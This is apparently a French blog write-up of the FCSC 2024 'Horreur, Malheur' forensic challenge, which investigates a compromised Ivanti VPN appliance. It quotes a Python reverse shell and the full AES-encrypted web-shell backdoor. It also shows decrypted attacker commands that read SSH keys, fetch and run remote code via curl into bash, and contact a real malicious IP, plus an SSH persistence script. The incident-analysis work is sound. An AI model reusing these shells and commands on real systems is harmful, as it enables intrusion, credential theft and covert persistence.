Featured image of post FCSC 2024 - Horreur, Malheur

FCSC 2024 - Horreur, Malheur

# Introduction

Vous venez d’être embauché en tant que Responsable de la Sécurité des Systèmes d’Information (RSSI) d’une entreprise stratégique.

En arrivant à votre bureau le premier jour, vous vous rendez compte que votre prédécesseur vous a laissé une clé USB avec une note dessus : VPN compromis (intégrité). Version 22.3R1 b1647.

Note : La première partie (Archive chiffrée) débloque les autres parties, à l’exception de la seconde partie (Accès initial) qui peut être traitée indépendamment. Nous vous recommandons de traiter les parties dans l’ordre.

# 1/5 - Archive chiffrée

Sur la clé USB, vous trouvez deux fichiers : une archive chiffrée et les journaux de l’équipement. Vous commencez par lister le contenu de l’archive, dont vous ne connaissez pas le mot de passe. Vous gardez en tête un article que vous avez lu : il paraît que les paquets installés sur l’équipement ne sont pas à jour… Le flag est le mot de passe de l’archive. Remarque : Le mot de passe est long et aléatoire, inutile de chercher à le bruteforcer

Le challenge indique qu’il n’y aura pas de bruteforce. Examinons l’archive:

$ zipinfo archive.zip                                                   ok | 03:27:47 PM 
Archive:  archive.zip
Zip file size: 65470 bytes, number of entries: 3
-rw-r--r--  3.0 unx    64697 BX defN 24-Mar-15 14:58 tmp/temp-scanner-archive-20240315-065846.tgz
-rwxr-xr-x  3.0 unx      194 TX defN 22-Dec-05 16:06 home/VERSION
-rw-r--r--  3.0 unx       33 TX defN 24-Mar-15 14:32 data/flag.txt
3 files, 64924 bytes uncompressed, 64842 bytes compressed:  0.1%

$ 7z l -slt archive.zip
[...]
Method = ZipCrypto Deflate
[...]

L’archive est chiffrée avec l’utilitaire zip par défaut de Linux, qui utilise l’algorithme ZipCrypto. Cet algorithme est vulnérable à une attaque par clair-connu.

L’outil bkcrack nous permet d’exploiter cette faille. Encore faut-il avoir au moins 12 octets connus pour espérer l’exploiter.

Les en-têtes des archives .tgz ont des octets trop variables, et nous ne connaissons pas le contenu de flag.txt(ORLY?). Reste à chercher ce que contient le fichier home/VERSION. Celui-ci est courant dans les produits d’Ivanti, cherchons avec un dork.

60047e9ebab4630628bf0e031f447e27.png

Le premier article contient un cat du /home/VERSION qui semble correspondre à la version de notre produit. 22.3R1 b1647.

a83708c7fe3180920132cea9922033c6.png

Maintenant nous pouvons préparer l’attaque : 4bb2f2b32d5dfeeeede46ccfc247bd60.png

Nous trouvons un ensemble de clefs possibles, on peut essayer de créer une copie de l’archive avec le mot de passe que l’on souhaite.

67f1c6423d5d54b29bdfd6e3e81f42ef.png

Et on valide.

# 2/5 - Accès Initial

Sur la clé USB, vous trouvez deux fichiers : une archive chiffrée et les journaux de l’équipement. Vous focalisez maintenant votre attention sur les journaux. L’équipement étant compromis, vous devez retrouver la vulnérabilité utilisée par l’attaquant ainsi que l’adresse IP de ce dernier. Le flag est au format : FCSC{CVE-XXXX-XXXXX:<adresse_IP>}.

Le dork utilisé pour trouver le bon fichier nous donne bien des indices.

L’article nous indique que la vulnérabilité passe par l’exploitation du point d’API /api/v1/totp/user-backup-code/ pour un bypass d’authentification. Vérifions nos logs.

$ cd data/var/dlogs
$ grep -l '/api/v1/totp/user-backup-code/' *
config_rest_server.log.old
$ cat config_rest_server.log.old
[pid: 6299|app: 0|req: 1/1] 172.18.0.4 () {30 vars in 501 bytes} [Fri Mar 15 06:29:17 2024] POST /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection => generated 14 bytes in 164281 msecs (HTTP/1.1 200) 2 header

En cherchant la requête POST, on tombe sur cet article de Splunk qui indique la CVE utilisée.

L’adresse IP n’est pas celle de l’attaquant mais celle du routeur, la recherche ne s’arrête pas là. Le fichier nodemon.log contient une liste des processus actifs. Le premier article de AssetNode indique l’utilisation d’un reverse-shell. En regardant un peu on trouve :

python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("20.13.3.0",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())

Et on valide.

# 3/5 - Simple persistance

Vous avez réussi à déchiffrer l’archive. Il semblerait qu’il y ait dans cette archive une autre archive, qui contient le résultat du script de vérification d’intégrité de l’équipement.

À l’aide de cette dernière archive et des journaux, vous cherchez maintenant les traces d’une persistance déposée et utilisée par l’attaquant.

Ici on commence à se douter que le challenge se base sur des modes opératoires connus, surtout si on a fait le lien avec HAFNIUM sur SOC Simulator. En cherchant la CVE on tombe sur un article de Mandiant qui parle de la vulnérabilité.

L’UNC5221 utilise un web-shell custom qu’il place dans l’outil python CAV. Allons voir s’il est présent.

$ tar xvfz tmp_scan_archive_dec.tgz
home/bin/configencrypt
home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg
$ 7z x cav-0.1-py3.6.egg
[...]
Everything is Ok      

Files: 66
Size:       144421
Compressed: 70497
$ cat cav/api/resources/health.py
#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
import subprocess
import zlib
import simplejson as json
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import request
from flask_restful import Resource


class Health(Resource):
    """
    Handles requests that are coming for client to post the application data.
    """

    def get(self):
        try:
            with open("/data/flag.txt", "r") as handle:
                dskey = handle.read().replace("\n", "")
            data = request.args.get("cmd")
            if data:
                aes = AES.new(dskey.encode(), AES.MODE_ECB)
                cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
                result = subprocess.getoutput(cmd)
                if not isinstance(result, bytes): result = str(result).encode()
                result = base64.b64encode(aes.encrypt(pad(zlib.compress(result), 32))).decode()        
                return result, 200
        except Exception as e:
            return str(e), 501

L’endpoint /health prend donc un argument cmd qu’il éxécute comme commande bash. Cherchons les appels à cet endpoint dans nos logs:

$ cd data/var/dlogs
$ grep -l 'health?cmd=' *
cav_webserv.log
$ grep 'health?cmd=' cav_webserv.log | cut -d ' ' -f 18                       
/api/v1/cav/client/health?cmd=DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D
/api/v1/cav/client/health?cmd=K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D
/api/v1/cav/client/health?cmd=/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D
/api/v1/cav/client/health?cmd=Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D
/api/v1/cav/client/health?cmd=yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D
/api/v1/cav/client/health?cmd=E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT
/api/v1/cav/client/health?cmd=7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D
/api/v1/cav/client/health?cmd=WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D
/api/v1/cav/client/health?cmd=G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D
/api/v1/cav/client/health?cmd=QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D

C’est possible d’utiliser CyberChef ici mais j’ai procédé ainsi:

On nettoie un peu et on URL decode les commandes.

$ grep 'health?cmd=' cav_webserv.log | cut -d ' ' -f 18 | cut -d '=' -f 2 | urldec > cmds_dec

urldec est un alias sur python3 -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));".

On modifie le script de backdoor:

# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
import zlib
import simplejson as json
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad


with open("cmds_dec") as f:
    for data in f:
        try:
            with open("flagdec", "r") as handle:
                dskey = handle.read().replace("\n", "")
            if data:
                aes = AES.new(dskey.encode(), AES.MODE_ECB)
                cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
                print(cmd)
        except Exception as e:
            print(str(e))

On obtient :

b'id'
b'ls /'
b'echo FCSC{[REDACTED]}'
b'cat /data/runtime/etc/ssh/ssh_host_rsa_key'
b'/home/bin/curl -k -s https://api.github.com/repos/joke-finished/2e18773e7735910db0e1ad9fc2a100a4/commits?per_page=50 -o /tmp/a'
b'cat /tmp/a | grep "name" | /pkg/uniq | cut -d ":" -f 2 | cut -d \'"\' -f 2 | tr -d \'\n\' | grep -o . | tac | tr -d \'\n\'  > /tmp/b'
b'a=`cat /tmp/b`;b=${a:4:32};c="https://api.github.com/gists/${b}";/home/bin/curl -k -s ${c} | grep \'raw_url\' | cut -d \'"\' -f 4 > /tmp/c'
b'c=`cat /tmp/c`;/home/bin/curl -k ${c} -s | bash'
b'rm /tmp/a /tmp/b /tmp/c'
b'nc 146.0.228.66:1337'

Et on valide.

# 4/5 - Simple persistance

Vous remarquez qu’une fonctionnalité built-in de votre équipement ne fonctionne plus et vous vous demandez si l’attaquant n’a pas utilisé la première persistance pour en installer une seconde, moins “visible”…

Vous cherchez les caractéristiques de cette seconde persistance : protocole utilisé, port utilisé, chemin vers le fichier de configuration qui a été modifié, chemin vers le fichier qui a été modifié afin d’établir la persistance.

Ici il faut faire le travail de fourmi et réexécuter les commandes précedentes pour retracer les étapes de l’attaquant, de préférence dans une VM. Comme nous avons de la chance le Github est encore disponible.

$ curl -k -s https://api.github.com/repos/joke-finished/2e18773e7735910db0e1ad9fc2a100a4/commits\?per_page\=50 -o a
$ cat a | grep "name" | uniq | cut -d ":" -f 2 | cut -d '"' -f 2 | tr -d '\n' | grep -o . | tac | tr -d '\n'  > b
$ a=`cat b`;b=${a:4:32};c="https://api.github.com/gists/${b}";curl -k -s ${c} | grep 'raw_url' | cut -d '"' -f 4 > c
$ c=`cat c`;curl -k ${c} -s > final
$ cat a b c final
[...]
sed -i 's/port 830/port 1337/' /data/runtime/etc/ssh/sshd_server_config > /dev/null 2>&1
sed -i 's/ForceCommand/#ForceCommand/' /data/runtime/etc/ssh/sshd_server_config > /dev/null 2>&1
echo "PubkeyAuthentication yes" >> /data/runtime/etc/ssh/sshd_server_config
echo "AuthorizedKeysFile /data/runtime/etc/ssh/ssh_host_rsa_key.pub" >> /data/runtime/etc/ssh/sshd_server_config
pkill sshd-ive > /dev/null 2>&1
gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1
tar -rf /data/pkg/data-backup.tar /data/runtime/etc/ssh/sshd_server_config > /dev/null 2>&1
gzip /data/pkg/data-backup.tar > /dev/null 2>&1
mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1

Nous voyons donc qu’il a modifié la configuration SSH pour pointer sur le port 1337, et le fichier de backup (après avoir tué le processus :thinking:, c’est peut-être pas automatique) pour garder sa persistance.

Ça nous permet de valider.

# 5/5 - Un peu de CTI

Vous avez presque fini votre analyse ! Il ne vous reste plus qu’à qualifier l’adresse IP présente dans la dernière commande utilisée par l’attaquant. Vous devez déterminer à quel groupe d’attaquant appartient cette adresse IP ainsi que l’interface de gestion légitime qui était exposée sur cette adresse IP au moment de l’attaque.

Le flag est au format : FCSC<UNCXXXX>:<nom du service>}.

Remarque : Il s’agit d’une véritable adresse IP malveillante, n’interagissez pas directement avec cette adresse IP.

La dernière commande était nc 146.0.228.66:1337.

Dans cet épreuve, pas besoin de chercher très loin. Nous avons vu dans les étapes précedentes que Mandiant identifiait ce mode opératoire come UNC5221 (UNC pour Uncategorized) et l’IP est connue de VirusTotal.

Dans VirusTotal les replications DNS ne pointent pas sur des sites particulièrement malveillants, mais les certificats SSL historiques mettent la puce à l’oreille.

zen-snyder.146-0-228-66.**plesk**.page 19aff73bcefa9617afe4b06b08923153.png

Plesk est un service de stockage de données self-hosted payant. C’est un service historiquement vulnérable et comme ces instances sont souvent exposées sur internet, elles servent de très bon serveurs de C2 anonymes pour des attaquants de tout genre.

On valide.

Built with coffee holding the wheels and nicotine working the pedals. And Hugo.
Theme Stack designed by Jimmy.